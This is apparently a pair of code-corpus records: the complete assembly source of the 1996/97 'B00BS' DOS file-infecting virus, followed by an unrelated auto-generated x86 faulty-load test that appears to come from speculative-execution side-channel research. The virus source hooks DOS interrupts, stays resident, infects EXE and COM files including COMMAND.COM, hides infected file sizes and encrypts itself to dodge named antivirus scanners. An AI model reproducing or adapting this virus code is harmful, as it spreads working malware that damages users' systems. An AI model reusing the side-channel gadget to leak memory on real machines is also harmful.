{"size": 32312, "ext": "asm", "max_stars_repo_path": "Legacy Windows/Win95.Boobs.asm", "max_stars_repo_name": "fengjixuchui/Family", "max_stars_repo_stars_event_min_datetime": "2021-05-15T15:57:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-16T09:11:05.000Z", "max_issues_repo_path": "Legacy Windows/Win95.Boobs.asm", "max_issues_repo_name": "fengjixuchui/Family", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Legacy Windows/Win95.Boobs.asm", "max_forks_repo_name": "fengjixuchui/Family", "max_forks_repo_forks_event_min_datetime": "2021-05-15T15:57:15.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-08T20:51:04.000Z"}
{"max_stars_count": 3, "max_issues_count": null, "max_forks_count": 3, "avg_line_length": 20.3604284814, "max_line_length": 80, "alphanum_fraction": 0.4615622679}
; B00bs virus ;****************************************************************************** ; THIS IS FOR EDUCATIONAL PURPOSE ONLY Gi0rGeTt0 ; ; Virus name : B00BS ; Author : Unknwon :) ; Group : iKx ; Origin : Italy 1996/97 ; Compiling : Use TASM ; TASM /M2 B00BS.ASM ; TLINK B00BS ; Targets : EXE COM ; Features : stealth via 11h,12h,4eh,4fh,disinfect and infect on the fly ; on opening(3dh,6c00h) and closing(3eh) ,int 24h handler ; TSR by MCB and int21h (48h) ; uses some 386 instructions for some routines (just for fun) ; fucks TBAV,AVP,F-PROT heuristic shits ; improvements : needs a poly engine ; payload : none ; Greetings : to all the guys of the iKx and all the ; other guys on #virus. ; ;****************************************************************************** ; ; The file is a EXE .386 CSeg SEGMENT USE16 ASSUME cs:CSeg FileHeaderRecord struc signature dw ? sizemod dw ? msize dw ? relocat dw ? headsize dw ? minalloc dw ? maxalloc dw ? stackseg dw ? stackofs dw ? check dw ? ip dw ? codes dw ? Checksum dw ? checkOvr dw ? FileHeaderRecord ends SearchRecord struc date dw ? time dw ? SearchRecord ends ExecBlockRecord struc Env dw ? Cmd dd ? ExecBlockRecord ends Findrecord struc FindBuf db 128 dup (?) Findofs dw ? Findrecord ends VIR_PAR = ((END_TSR - START_TSR ) / 16) + 2 VIR_LEN = (REAL_CODE - START_TSR) + 1 ; dim virus in memoria VIR_TRUE_LEN = ( REAL_CODE - START_TSR ) + 1 ; dimensione del virus su file already = 0 ; already infected ready = 1 ; ready to be infected com = 2 ; com file exe = 3 ; exe file other = 4 ; other true = 1 false = 0 maxfiles = 26 ; max file no to open , must be (maxfiles*2)/4 integer START_TSR equ $ AfterCryp : call SH SH : pop bp sub bp,3 push ds pop es mov ax,0fe01h int 2fh cmp al,0ffh jne short Novirus YesVirus : db 0e9h jmp_addr dw ? mov ax,ds ; ES = DS = PSP = AX add ax,10h ; PSP + 1 paragraph mov bx,cs:[bp][templateheader.stackseg] add bx,ax cli mov ss,bx mov sp,cs:[bp][templateheader.stackofs] sti mov bx,cs:[bp][templateheader.codes] add bx,ax push bx ; push CS push cs:[bp][templateheader.ip] ; push IP @jump : xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx xor esi,esi xor edi,edi xor ebp,ebp retf ; jmp to host CS:IP com_exec : push cs ; COM settings mov si,bp add si,offset @com_buf mov di,100h push di cld movsd jmp short @jump NoVirus : mov es,word ptr ds:[2ch] ; enviroment segment mov word ptr cs:[bp][tmp_COMseg],es push ds mov ax,ds ; DS = PSP dec ax ; AX = MCB mov ds,ax mov bl,02h ; last fit mov ax,5801h int 21h ; set mov bx,VIR_PAR ; malloc mov ah,48h int 21h jnc short malloc ; problems ? push ax dx mov ah,2 mov dl,7 int 21h pop dx ax push ds pop ax mov bx,4d03h mov ds:[0],bh ;'M' xor bh,bh sub word ptr ds:[bx],VIR_PAR inc ax add ax,ds:[bx] mov ds,ax mov word ptr ds:[bx],VIR_PAR-1 mov bl,'Z' mov ds:[0],bl ; Z in last MCB inc ax malloc : mov es,ax dec ax push ax pop ds mov bx,8 mov ds:[1],bx ; owned by dos 0008 mov word ptr ds:[bx],'CS' xor bl,bl ; restore strategy mov ax,5801h int 21h cld xor di,di mov si,bp push cs pop ds mov cx,(VIR_LEN / 4) + 1 rep movsd call clean_x_stack cli xor ax,ax mov ds,ax mov eax,es shl eax,16 mov ax,offset HOOK_21 xchg ds:[84h],eax mov es:TRAPPED_21,eax mov eax,es shl eax,16 mov ax,offset HOOK_2F xchg ds:[0bch],eax mov es:TRAPPED_2F,eax pop ds ; DS = PSP mov es:sleep,FALSE mov es:command_Flag,TRUE mov ax,cs:[bp][tmp_COMseg] mov es:COMseg,ax push ds pop es sti jmp yesvirus tmp_COMseg dw ? HOOK_2F : cmp ah,0feh jne short ChkintWin mov al,0ffh iret ;///// Chkintwin and ChkEndwin disable the virus during installation check in ; win311 and under Msdos prompt in w95 ///// ; Under Msdos prompt only some int21h trap worked :(( i.e 4b ; but 3dh,3eh and some other as all long filenames functions didn't work ; i dunno the reason since i hadn't much time for solving the question ; if someone can explain it let me know pleaze :) ChkintWin : cmp ax,1605h jne short chkendwin mov cs:sleep,TRUE jmp short pass2f ChkEndWin : cmp ax,1606h jne short pass2f mov cs:sleep,FALSE pass2f : db 0eah TRAPPED_2F dd ? HOOK_21 : cmp cs:command_flag,TRUE jne short Check_int call @COMM_COM Check_int : cmp cs:sleep,TRUE je short org_21 cmp ax,cs:[intr_sub_w] ;4b00h je @EXEC00 cmp ax,cs:[intr_sub_w+2] ;4b01h je @LD&EX cmp ah,cs:[intr_sub_b] ;1ah je @SAVEDTA cmp ah,cs:[intr_sub_b+1] ;4eh je @FINDFIRST cmp ah,cs:[intr_sub_b+2] ;4fh je @FINDNEXT cmp ah,cs:[intr_sub_b+3] ;3dh je @OPEN cmp ah,cs:[intr_sub_b+4] ;3eh je @CLOSE cmp ax,cs:[intr_sub_w+4] ;6c00h je @EXTOPEN cmp ah,cs:[intr_sub_b+5] ;11h je @FCB_FIND cmp ah,cs:[intr_sub_b+6] ;12h je @FCB_FIND org_21 : db 0eah TRAPPED_21 dd ? @COMM_COM : pushad push ds es cld mov ax,cs:COMseg mov es,ax xor di,di mov cx,256 @pre_loop : mov eax,'SMOC' @loop_a : scasd jz short @nxt_ck sub di,3 loop @loop_a jmp @fail @nxt_ck : mov eax,'=CEP' scasd jz short @it_is sub di,3 jmp short @pre_loop @it_is : push es pop ds mov si,di push cs pop es mov di,offset Data_Buffer mov cx,256 @loop_b : lodsb or al,al jz short @copy_end stosb loop @loop_b @copy_end : stosb push cs pop ds mov dx,offset Data_Buffer ; DS:DX command.com path mov bx,dx call GetFattrib ; CX attributo jc short @fail push cx dx ds call openfile ; BX handle call FileInfect call closefile pop ds dx cx call SetFattrib @fail : pop es ds popad mov cs:command_flag,FALSE ret @EXEC00 : call CheckIfExe jnz org_21 pushad push es ds ; DS:DX ASCIZ filename call vir_handler call getFattrib jc short @no_inf ; CX attributo push cx ds dx call openfile call FileInfect call closefile pop dx ds cx call SetFattrib @no_inf : call dos_handler pop ds es popad call int21h jmp Intret @LD&EX : push es ds pushad call vir_handler call GetFattrib jc short ex_ld ; CX attributo push cx dx ds call OpenFile jc short ex_ld call FileClean call closefile pop ds dx cx call SetFattrib ex_ld : call dos_handler popad pop ds es push ds dx call int21h pop dx ds pushf push es ds pushad call vir_handler call GetFattrib jc short not_ld ; CX attrib push cx ds dx call OpenFile call FileInfect call closefile pop dx ds cx call SetFattrib not_ld : call dos_handler popad pop ds es popf jmp Intret @OPEN : call CheckIfExe jnz org_21 push es ds pushad call vir_handler call GetFattrib jc short Skip_file ; CX attrib push cx ds dx call OpenFile call FileClean call CloseFile pop dx ds cx call SetFattrib call dos_handler popad pop ds es push ds dx call int21h pop dx ds jc short @no_open xchg ax,bx call PushHandle xchg bx,ax jmp Intret @no_open : pushf cmp al,5 jne short @no_mat push es ds pushad call vir_handler call GetFattrib jc short @a push cx ds dx call OpenFile call FileInfect call CloseFile pop dx ds cx call SetFattrib call dos_handler @a : popad pop ds es @no_mat : popf jmp Intret Skip_file : popad pop ds es call dos_handler jmp org_21 @EXTOPEN : xchg si,dx call CheckIfExe xchg dx,si jnz org_21 push es ds pushad call vir_handler mov dx,si call GetFattrib jc short @aa push cx ds dx call OpenFile call FileClean call closefile pop dx ds cx call SetFattrib @aa : call dos_handler popad pop ds es push ds si call int21h pop dx ds jc @no_open xchg ax,bx call PushHandle ; save handle xchg bx,ax jmp Intret ; // SFT and JFT didn't work in Msdos Prompt :(( // @CLOSE : call Pophandle jc org_21 call vir_handler pushad push ds es push bx mov ax,1220h ; BX handle call int2fh ; ES:DI JFT xor bx,bx mov bl,byte ptr es:[di] mov ax,1216h ; bx entry number for call int2fh ; ES:DI SFT mov byte ptr es:[di+2],2 pop bx call FileInfect pop es ds popad call int21h ; exec int call dos_handler clc jmp Intret @FINDFIRST : push ax cx si di es ; DS:DX find filename pushf mov si,dx push cs pop es mov di,offset findvar cld push di xor ax,ax mov cx,(size Findvar - 2) / 2 rep stosw ; reset Findvar pop di mov ah,60h ; DS:SI filename call Int21h ; ES:DI canonaized mov di,offset findvar + size findvar - 2 mov cx,size findvar - 2 - 1 std mov al,'' repnz scasb jz short o sub di,3 o : add di,2 mov cs:Findvar.Findofs,di popf pop es di si cx ax @FINDNEXT : call int21h jc Intret FindProc : pushad push ds es pushf mov ds,cs:DTAseg mov si,cs:DTAofs add si,1eh ; DS:SI punta al ; filename nella DTA push cs pop es mov di,cs:findvar.findofs ; ES:DI path filename cld CopyName: movsb cmp byte ptr ds:[si],0 jne short CopyNAme mov byte ptr es:[di],0 ; Findvar now has the ASCIZ filename to pass to Openfile push cs pop ds mov dx,offset Findvar call CheckIfExe jnz short DonotTreat call OpenFile jc short DoNotTreat call CheckXinf cmp file_type,other je short CanClose cmp file_status,already jne short CanClose mov es,DTAseg mov di,DTAofs sub dword ptr es:[di+1ah],vir_true_len - 1 CanClose : call CloseFile DoNotTreat: popf pop es ds popad jmp Intret @SAVEDTA : mov cs:DTAofs,dx mov cs:DTAseg,ds jmp org_21 @FCB_FIND : call int21h pushf push es ax bx les bx,dword ptr cs:DTAofs mov al,byte ptr es:[bx] cmp al,0ffh ; vede se FCB esteso jne short @ok_good add bx,7 @ok_good : pusha push ds es mov ah,47h ; get cur dir mov dl,byte ptr es:[bx] ; drive number push cs pop ds mov si,offset FindVar call int21h ; return ASCIZ directory push cs pop es cld cmp byte ptr ds:[si],0 ; root ? jne short @path mov ax,offset FindVar add ax,3 mov cs:FindVar.FindOfs,ax jmp short @root @path : mov di,offset FindVar xor al,al @@f : scasb ; look for the end of the dirname jnz short @@f mov si,di dec si mov byte ptr es:[si],'' add di,3 mov es:FindVar.FindOfs,di dec di std @cp : movsb cmp si,offset FindVar jae short @cp @root : mov word ptr es:[offset FindVar+1],':' add dl,'A' - 1 mov byte ptr es:[offset FindVar],dl ; drive letter pop es ds popa pusha push ds es ; ES:BX DTA push es pop ds ; DS = ES mov si,1 add si,bx ; file name ds:si push cs pop es mov di,cs:FindVar.FindOfs mov cx,8 cld @lp1 : lodsb cmp al,20h je short @end_1 stosb loop @lp1 @end_1 : mov al,'.' stosb mov cx,3 mov si,9 add si,bx rep movsb xor al,al stosb ; Z terminated push cs pop ds mov dx, offset FindVar ; ASCIZ filename mov bp,bx call CheckIfExe jnz short @not_op call OpenFile jc short @not_op call CheckXinf cmp file_type,other je short @CanClose cmp file_status,already jne short @CanClose mov es,cs:DTAseg sub dword ptr es:[bp+1dh],VIR_TRUE_LEN - 1 ; real size @CanClose : call CloseFile @not_op : pop es ds popa @NotInf : pop bx ax es popf Intret proc cli push ax pushf pop ax add sp,8 push ax sub sp,6 pop ax sti iret Intret endp int21h proc pushf call dword ptr cs:TRAPPED_21 ret int21h endp int2fh proc pushf call dword ptr cs:TRAPPED_2F ret int2fh endp vir_handler proc cli push eax ds xor ax,ax mov ds,ax mov eax,cs shl eax,16 mov ax,offset critical xchg ds:[90h],eax mov cs:TRAPPED_24,eax pop ds eax sti ret vir_handler endp dos_handler proc push ds ax cli xor ax,ax mov ds,ax db 66h dw 06c7h dw 0090h TRAPPED_24 dd ? ; mov ds:[90h],cs:TRAPPED_24 pop ax ds sti ret dos_handler endp critical proc xor al,al iret critical endp openfile proc mov ah,3dh xor al,al add al,2 ; mov ax,3d02h call int21h mov bx,ax ret ; out : BX handle openFile endp closeFile proc mov ah,3eh ; in : BX handle call int21h ret closefile endp GetFAttrib proc push ax mov ah,43h xor al,al ; mov ax,4300h push ax call int21h ; CX attributo pop ax inc al push cx ; mov ax,4301h push ax call int21h pop ax jc short out_f ; mov ax,4301h mov cx,32 call int21h out_f : pop cx pop ax ; ritorna CX attributo ret ; ritona carry se errore SetFattrib proc push ax ; in CX attributo mov ah,43h xor al,al inc al ; mov ax,4301h call int21h pop ax ret SetFattrib endp GetFAttrib endp FileEnd proc mov ah,42h xor al,al add al,2 ; mov ax,4202h xor cx,cx xor dx,dx call int21h ; DX:AX file size ret FileEnd endp Filestart proc xor cx,cx xor dx,dx Filestart endp FileSeek proc mov ax,4200h call int21h ret FileSeek endp blockread proc mov ah,3fh call int21h ret blockread endp blockwrite proc mov ah,40h call int21h ret blockwrite endp GetDateTime proc mov ah,57h xor al,al ; mov ax,5700h call Int21h mov cs:searchrec.date,dx mov cs:searchrec.time,cx ret GetdateTime endp SetDateTime proc mov dx,cs:searchrec.date mov cx,cs:searchrec.time mov ah,57h xor al,al inc al ; mov ax,5701h call Int21h ret SetdateTime endp commit_file proc mov ah,68h call int21h ; commit file ret commit_file endp clean_x_stack proc mov di,offset searchstack mov cx, (size searchstack) / 4 xor eax,eax rep stosd ret clean_x_stack endp CheckIfExe proc ; DS:DX filename push es di ax push ds pop es cld mov di,dx ; ES:DI filename xor ax,ax FindZ : scasb jnz short FindZ cmp dword ptr [di-5],'exe.' je short is_exe cmp dword ptr [di-5],'EXE.' je short is_exe cmp dword ptr [di-5],'moc.' je short is_exe cmp dword ptr [di-5],'MOC.' is_exe : pop ax di es ret CheckIfExe endp PushHandle proc pushf push ax cx es di push cs pop es mov di,offset SearchStack ; ES:DI SearchStack cld mov cx,maxfiles xor ax,ax repnz scasw jnz short Nofree mov word ptr es:[di-2],bx ; sets handle Nofree: pop di es cx ax popf ret PushHandle endp PopHandle proc push ax cx es di or bx,bx jz short Nofree1 ; BX = 0 ? push cs pop es cld mov di,offset SearchStack mov cx,maxfiles mov ax,bx repnz scasw jnz short Nofree1 mov word ptr es:[di-2],0 ; free handle clc jmp short exitpop Nofree1 : stc Exitpop : pop di es cx ax ret PopHandle endp Calc_check proc push si ; DS = CS xor dx,dx mov si,size fileheader - 4 @chk : add dx,[si+offset fileheader] sub si,2 jnz short @chk pop si ; DX = checksum ret Calc_check endp CheckXinf proc mov file_status,already call Filestart mov cx,size Fileheader mov dx, offset Fileheader call BlockRead mov cx,cs:[MZsig] dec cx cmp fileheader.signature,cx je short IsanExe mov cx,cs:[ZMsig] dec cx cmp fileheader.signature,cx ; vede se e' un file EXE je short IsanExe mov file_type,com call FileEnd ; DX:AX dim file sub ax,VIR_TRUE_LEN - 1 add ax,NONCRYPTED - START_TSR sub ax,3 cmp ax,word ptr fileheader.signature+1 je GotoEnd ; infected jmp Except IsAnExe : mov file_type,exe cmp fileheader.Checksum,40h jne short @good ; not a PE,NE,LE .... mov file_type,other jmp GotoEnd @good : call calc_check cmp dx,fileheader.CheckOvr je GoToEnd ; already infected Cont : call FileEnd ; DX:AX dimens file shl edx,16 mov dx,ax movzx edi,fileheader.msize movzx esi,fileheader.sizemod dec edi imul edi,512 add edi,esi cmp edi,edx ; malloc = filesize je short Except ;//**** SFT and JFT doesnt work in dos7 prompt from w95 :(( ****** /// ;//**** This is used for infecting COMMAND.COM under dos7 which is not a .COM ;//**** file but a real EXE Chk_Com : push bx es mov ax,1220h ; BX handle call int2fh ; ES:DI JFT xor bx,bx mov bl,byte ptr es:[di] mov ax,1216h ; bx entry number for call int2fh ; ES:DI SFT cld add di,20h ; go to filename mov eax,'MMOC' scasd jnz short no_com_com mov eax,' DNA' scasd jnz short no_com_com mov ax,'OC' scasw no_com_com : pop es bx jz short except mov file_type,other jmp short GotoEnd except : mov file_status,ready GoToEnd : call FileEnd ret ; DX:AX dimensione file CheckXinf endp FileInfect proc push cs cs pop ds es call CheckXInf ; DX:AX dimens file cmp file_type,other je Infectexit cmp file_status,ready jne infectexit cld mov word ptr f_size,ax ; salva dim per .COM mov si,offset fileheader mov di,offset @com_buf movsd cmp dx,0 ja short @not_less cmp ax,23000 ja short @not_less jmp infectexit @not_less : cmp dx,7 ja Infectexit cld mov si,offset fileheader + 2 mov di,offset templateheader + 2 mov cx,(size fileheader) / 2 - 1 rep movsw push ax dx add ax,VIR_TRUE_LEN adc dx,0 mov cx,512 div cx inc ax ; AX = quoziente DX=resto mov fileheader.msize,ax ; nuova memory size mov fileheader.sizemod,dx ; nuovo memory module pop dx ax add ax,NONCRYPTED - START_TSR adc dx,0 mov cx,16 div cx ; AX:DX = CS:IP mov fileheader.ip,dx push ax xor dx,dx mov ax,VIR_TRUE_LEN add ax,cx add fileheader.ip,ax mov cx,16 div cx sub fileheader.ip,dx mov dx,fileheader.ip dec dx mov first_addr,dx sub dx,NONCRYPTED - START_TSR mov cmp_addr,dx mov dx,ax pop ax sub ax,dx sub ax,fileheader.headsize mov fileheader.codes,ax ; setta CS:IP nuovi mov fileheader.stackseg,ax add fileheader.stackofs,(VIR_PAR + 4) * 16 ; mi metto al sicuro call GetDateTime call calc_check ; dx checksum mov fileheader.checkovr,dx LeaveSo : call FileStart cmp file_type,com jne @exe1 mov jmp_addr,offset com_exec - offset yesvirus - 3 mov byte ptr fileheader,0e9h mov cx,f_size add cx,NONCRYPTED - START_TSR sub cx,3 mov word ptr fileheader+1,cx add cx,102h mov first_addr,cx sub cx,NONCRYPTED - START_TSR mov cmp_addr,cx mov dx,offset FIleheader mov cx,3 call BlockWrite jmp short ordinary @exe1 : mov jmp_addr,0 mov dx,offset Fileheader mov cx,size fileheader call BlockWrite ; scrive header ordinary : call FileEnd call Criptate ; return CX = ; virus lenght mov dx,offset Data_Buffer mov cx,VIR_TRUE_LEN - 1 call BlockWrite call SetDateTime call commit_file InfectExit : ret FileInfect endp FileClean proc push cs pop ds call CheckXInf ; DX:AX dimens file cmp file_type,other je clean_out cmp file_status,already jne clean_out sub ax,size templateheader + 4 ;size @com_buf sbb dx,0 mov cx,dx mov dx,ax call FileSeek mov cx,size templateheader + 4 ;size @com_buf ; read real fileheader mov dx,offset @com_buf call Blockread call FileStart call GetdateTime cmp file_type,com jne short @exe2 mov cx,4 mov dx,offset @com_buf call Blockwrite jmp short ordinary1 @exe2 : mov cx,cs:[MZsig] dec cx mov templateheader.signature,cx mov dx,offset templateHeader mov cx,size templateheader call BlockWrite ordinary1 : call fileEnd sub ax,vir_true_len - 1 sbb dx,0 mov cx,dx mov dx,ax call FileSeek xor cx,cx call Blockwrite call SetDateTime call commit_file clean_out : ret FileClean endp Criptate proc push bx xor bx,bx mov ds,bx mov bx,word ptr ds:[46ch] ; ritorna numero casuale push cs cs pop ds es mov k_code,bl mov k1_code,bl mov si,bx and si,3 cmp si,3 jl short @well xor si,si @well : mov bh,byte ptr [offset cripstyle+si] mov cripmode,bh mov bh,byte ptr [offset uncripstyle+si] mov uncripmode,bh std mov si,offset NONCRYPTED - 1 mov di,offset Data_Buffer + (NONCRYPTED - START_TSR) - 1 @crip : bt si,15 jc short @stop lodsb cripmode db ? k_code db ? ; xor add sub ,k_code stosb jmp short @crip @stop : cld mov si,offset @uncr_code mov di,offset offset Data_Buffer + (NONCRYPTED - START_TSR) mov cx,REAL_CODE - offset @uncr_code rep movsb pop bx ret Criptate endp Cripstyle db 034h ; xor db 04h ; add db 02ch ; sub Uncripstyle db 34h ; xor db 2ch ; sub db 04h ; add Message db '|||-(BOOBS-)||| Virus , Once again deep in Terronia Land ' db '1997 Bari' intr_sub_w dw 4b00h,4b01h,6c00h intr_sub_b db 1ah,4eh,4fh,3dh,3eh,11h,12h MZsig dw 'ZM'+1 ZMsig dw 'MZ'+1 NONCRYPTED equ $ @uncr_code : db 0beh first_addr dw ? ; mov si,first_addr @uncr : db 02eh ; xor cs:[si] db 80h uncripmode db ? k1_code db ? mov cx,4000 ; do-nothing loop @m1: inc si ; to waste time dec si ; to loop @m1 ; fuck AVP dec si db 81h db 0feh cmp_addr dw ? ; cmp si, jne short @uncr @end : jmp AfterCryp @com_buf db 4 dup (?) templateheader FileheaderRecord <> ; real file header REAL_CODE equ $ Fileheader FileheaderRecord <> ; header file_status db ? ; infection flag file_type db ? sleep db ? ; flag for Windows 3.X command_flag db ? ; infect command.com ? Searchrec Searchrecord <> ; date & time record SearchStack dw Maxfiles dup (?) ; stack for f-handle FindVar Findrecord <> ; findfirst & findnext SFT db 03bh dup (0) ; System File Table Buffer DTAofs dw ? ; DTA for Findfirst,next DTASeg dw ? COMSeg dw ? ; SEG for command.com f_size dw ? ; com size Data_Buffer db VIR_TRUE_LEN + 16 dup (?) ; Virus temp buffer END_TSR equ $ main : mov ax,ds ; DS = PSP dec ax ; AX = MCB mov ds,ax mov byte ptr ds:[0],'M' sub word ptr ds:[3],VIR_PAR inc ax add ax,ds:[3] mov ds,ax mov byte ptr ds:[0],'Z' ; Z nell'ultimo MCB mov word ptr ds:[1],0008 mov word ptr ds:[3],VIR_PAR-1 mov word ptr ds:[8],'CS' inc ax ; SEG TSR cld mov es,ax xor si,si xor di,di push cs pop ds mov cx,(VIR_LEN / 4) + 1 rep movsd call clean_x_stack cli xor ax,ax mov ds,ax mov eax,es shl eax,16 mov ax,offset HOOK_21 xchg ds:[84h],eax mov es:TRAPPED_21,eax mov eax,es shl eax,16 mov ax,offset HOOK_2F xchg ds:[0bch],eax mov es:TRAPPED_2F,eax mov es:sleep,FALSE mov es:command_flag,FALSE sti mov ax,4c00h int 21h CSeg ends end main
TheStack
73ae494403d6627fc3b3eb26b0e0f044c88eb20b
Assemblycode:Assembly
{"size": 6354, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_21829_88.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_21829_88.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_21829_88.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 36.3085714286, "max_line_length": 2999, "alphanum_fraction": 0.6605288008}
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x5b48, %r12 clflush (%r12) nop nop add $29129, %rsi movups (%r12), %xmm5 vpextrq $1, %xmm5, %r10 nop nop nop nop and %rdx, %rdx lea addresses_normal_ht+0x5548, %r15 nop nop dec %r10 mov (%r15), %r14 nop nop nop sub %r10, %r10 lea addresses_UC_ht+0x1d94c, %rsi nop inc %r8 mov (%rsi), %r14d nop nop xor %rsi, %rsi lea addresses_UC_ht+0xdd48, %r15 dec %r10 mov $0x6162636465666768, %r12 movq %r12, %xmm4 vmovups %ymm4, (%r15) nop nop nop nop nop cmp %r8, %r8 lea addresses_UC_ht+0x162e0, %rsi lea addresses_WC_ht+0x18e48, %rdi nop nop nop nop nop add $96, %r14 mov $127, %rcx rep movsw nop nop add $37291, %rdi lea addresses_normal_ht+0x1d0f0, %rsi lea addresses_A_ht+0xd90f, %rdi nop nop nop nop nop xor $16330, %r15 mov $105, %rcx rep movsq nop nop nop sub %r15, %r15 lea addresses_WT_ht+0x1ec48, %rsi lea addresses_UC_ht+0x16247, %rdi clflush (%rdi) nop nop nop nop and $58545, %r12 mov $31, %rcx rep movsb nop nop nop and %r15, %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r15 push %rax push %rbp push %rcx // Store lea addresses_A+0x9c88, %r11 nop and $23086, %rcx mov $0x5152535455565758, %r14 movq %r14, %xmm1 vmovups %ymm1, (%r11) nop nop nop xor %r14, %r14 // Store lea addresses_normal+0x15b48, %rbp nop nop nop nop inc %r11 mov $0x5152535455565758, %rax movq %rax, %xmm2 vmovups %ymm2, (%rbp) and $31653, %r10 // Faulty Load mov $0x234e4b0000000348, %rcx nop nop sub $59540, %r15 movb (%rcx), %r10b lea oracles, %rcx and $0xff, %r10 shlq $12, %r10 mov (%rcx,%r10,1), %r10 pop %rcx pop %rbp pop %rax pop %r15 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 